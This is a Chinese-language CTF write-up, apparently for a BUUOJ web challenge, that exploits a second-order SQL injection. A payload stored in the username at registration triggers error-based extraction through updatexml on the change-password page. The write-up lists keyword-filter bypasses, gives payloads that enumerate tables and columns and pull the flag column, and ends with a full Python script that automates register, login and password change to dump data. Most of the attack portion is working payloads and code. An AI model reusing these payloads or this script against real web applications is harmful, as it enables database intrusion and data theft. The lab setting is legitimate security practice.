先注册一个用户
在注册的时候,fuzz测试发现在username和email中过滤了以下字符:
@
or
and
space(空格)
substr
mid
left
right
handle
没有源码慢慢测试.......
登录,发现还有个改密码
在注册时用户名加些测试字符进去,'mochu7"\
然后登录,在修改密码的时候,发现报错了,这样基本确定应该存在二次注入,在注册的时候写入,改密码的地方修改密码后触发导致错误输出,有错误回显就可以使用报错注入
猜测sql执行语句
select * from user where username=" 'mochu7"\ " and password=' 80f26dc7f48fc63a753d8f7d1b5bc507 '
构造payload
username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
使用||
代替or
,把每个执行的部分使用括号来代替空格的区分作用
存在article,flag,users,flag表
username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#
这里有个坑,flag不在flag表中
查不出来值,真正的flag在users表中
username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#
regexp('^r')
是MySql的正则,^r
匹配开头是r的字段,也就是column_name=real_flag_1s_her
做到这里发现了输出长度限制
username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
这里regexp('^f')
的意思是查找字段中f
开头的内容,其实就是在找flag{XXXX}
使用reverse()函数把flag逆序出来就可以看到后面的内容了
username=mochu7"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
也可以写个脚本来拿flag,自动化脚本如下:
import requests
url_reg = 'http://90ff4474-5dd7-447f-9a4e-54211f746fa2.node3.buuoj.cn/register.php'
url_log = 'http://90ff4474-5dd7-447f-9a4e-54211f746fa2.node3.buuoj.cn/login.php'
url_change = 'http://90ff4474-5dd7-447f-9a4e-54211f746fa2.node3.buuoj.cn/changepwd.php'
pre = 'mochu7"'
#逆序闭合
suf = "')))),1))#"
#正序闭合
#suf = "'))),1))#"
s = 'abcdefghijklmnopqrstuvwxyz1234567890'
s = list(s)
r = requests.session()
def register(name):
data = {
'username' : name,
'password' : '123',
'email' : '123',
}
r.post(url=url_reg, data=data)
def login(name):
data = {
'username' : name,
'password' : '123',
}
r.post(url=url_log, data=data)
def changepwd():
data = {
'oldpass' : '',
'newpass' : '',
}
kk = r.post(url=url_change, data=data)
if 'XPATH' in kk.text:
print(kk.text)
for i in s:
#正序
#paylaod = pre + "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
#逆序
paylaod = pre + "||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
register(paylaod)
login(paylaod)
changepwd()
#正序payload
#paylaod = pre + "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + "'))),1))#"
#逆序payload
#paylaod = pre + "||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + "')))),1))#"